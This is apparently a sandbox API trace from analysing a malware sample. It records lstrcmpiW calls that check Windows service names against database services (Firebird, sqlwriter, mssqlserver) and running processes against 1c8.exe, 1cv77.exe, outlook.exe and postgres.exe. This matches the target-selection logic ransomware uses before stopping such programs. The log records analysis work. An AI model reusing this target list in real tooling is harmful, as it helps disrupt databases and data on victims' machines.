[0063.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.128] lstrlenW (lpString="DPS") returned 3 [0063.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.129] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.129] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.129] lstrlenW (lpString="eventlog") returned 8 [0063.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0063.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0063.129] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0063.129] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0063.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0063.129] lstrlenW (lpString="EventSystem") returned 11 [0063.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.129] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.129] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.129] lstrlenW (lpString="FontCache") returned 9 [0063.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0063.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0063.129] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0063.129] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0063.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0063.129] lstrlenW (lpString="gpsvc") returned 5 [0063.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.129] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.129] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.129] lstrlenW (lpString="iphlpsvc") returned 8 [0063.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.129] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.129] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.130] lstrlenW (lpString="LanmanServer") returned 12 [0063.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.130] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.130] lstrlenW (lpString="lmhosts") returned 7 [0063.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.130] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.130] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.130] lstrlenW (lpString="MMCSS") returned 5 [0063.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0063.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0063.130] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0063.130] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0063.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0063.130] lstrlenW (lpString="MpsSvc") returned 6 [0063.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.130] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.130] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.130] lstrlenW (lpString="Netman") returned 6 [0063.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0063.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0063.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0063.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0063.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0063.131] lstrlenW (lpString="netprofm") returned 8 [0063.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.131] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.131] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.131] lstrlenW (lpString="NlaSvc") returned 6 [0063.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.131] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.131] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.131] lstrlenW (lpString="nsi") returned 3 [0063.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.131] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.131] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.131] lstrlenW (lpString="PcaSvc") returned 6 [0063.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.131] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.131] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.131] lstrlenW (lpString="PlugPlay") returned 8 [0063.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.131] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.131] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.131] lstrlenW (lpString="Power") returned 5 [0063.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.132] lstrlenW (lpString="ProfSvc") returned 7 [0063.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.132] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.132] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.132] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.132] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.132] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.132] lstrlenW (lpString="RpcSs") returned 5 [0063.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.132] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.132] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.132] lstrlenW (lpString="SamSs") returned 5 [0063.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.132] lstrlenW (lpString="Schedule") returned 8 [0063.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.133] lstrlenW (lpString="SENS") returned 4 [0063.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.133] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.133] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.133] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.133] lstrlenW (lpString="Spooler") returned 7 [0063.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.133] lstrlenW (lpString="sppsvc") returned 6 [0063.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0063.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0063.133] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0063.133] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0063.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0063.133] lstrlenW (lpString="swprv") returned 5 [0063.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0063.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0063.133] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0063.133] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0063.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0063.133] lstrlenW (lpString="SysMain") returned 7 [0063.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.134] lstrlenW (lpString="Themes") returned 6 [0063.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.134] lstrlenW (lpString="TrkWks") returned 6 [0063.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.134] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.134] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.134] lstrlenW (lpString="UxSms") returned 5 [0063.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.134] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.134] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.134] lstrlenW (lpString="VSS") returned 3 [0063.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0063.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0063.134] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0063.134] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0063.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0063.134] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.134] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.135] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.135] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.135] lstrlenW (lpString="WinDefend") returned 9 [0063.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0063.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0063.135] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0063.135] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0063.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0063.135] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.135] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.135] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.135] lstrlenW (lpString="Winmgmt") returned 7 [0063.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.135] lstrlenW (lpString="wscsvc") returned 6 [0063.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0063.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0063.135] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0063.135] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0063.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0063.135] lstrlenW (lpString="wuauserv") returned 8 [0063.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0063.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0063.136] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0063.136] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0063.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0063.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f6700 | out: hHeap=0x520000) returned 1 [0063.136] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0063.140] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.141] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.141] lstrlenW (lpString="System") returned 6 [0063.141] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0063.142] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0063.142] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0063.142] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0063.142] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.142] lstrlenW (lpString="smss.exe") returned 8 [0063.142] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.143] lstrlenW (lpString="csrss.exe") returned 9 [0063.143] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.143] lstrlenW (lpString="wininit.exe") returned 11 [0063.143] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.144] lstrlenW (lpString="csrss.exe") returned 9 [0063.144] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.145] lstrlenW (lpString="winlogon.exe") returned 12 [0063.145] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.145] lstrlenW (lpString="services.exe") returned 12 [0063.145] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.146] lstrlenW (lpString="lsass.exe") returned 9 [0063.146] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.146] lstrlenW (lpString="lsm.exe") returned 7 [0063.146] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.147] lstrlenW (lpString="svchost.exe") returned 11 [0063.147] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.147] lstrlenW (lpString="svchost.exe") returned 11 [0063.147] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.148] lstrlenW (lpString="svchost.exe") returned 11 [0063.148] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.148] lstrlenW (lpString="svchost.exe") returned 11 [0063.149] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.149] lstrlenW (lpString="svchost.exe") returned 11 [0063.149] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.150] lstrlenW (lpString="audiodg.exe") returned 11 [0063.150] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.150] lstrlenW (lpString="svchost.exe") returned 11 [0063.150] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.151] lstrlenW (lpString="svchost.exe") returned 11 [0063.151] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0063.152] 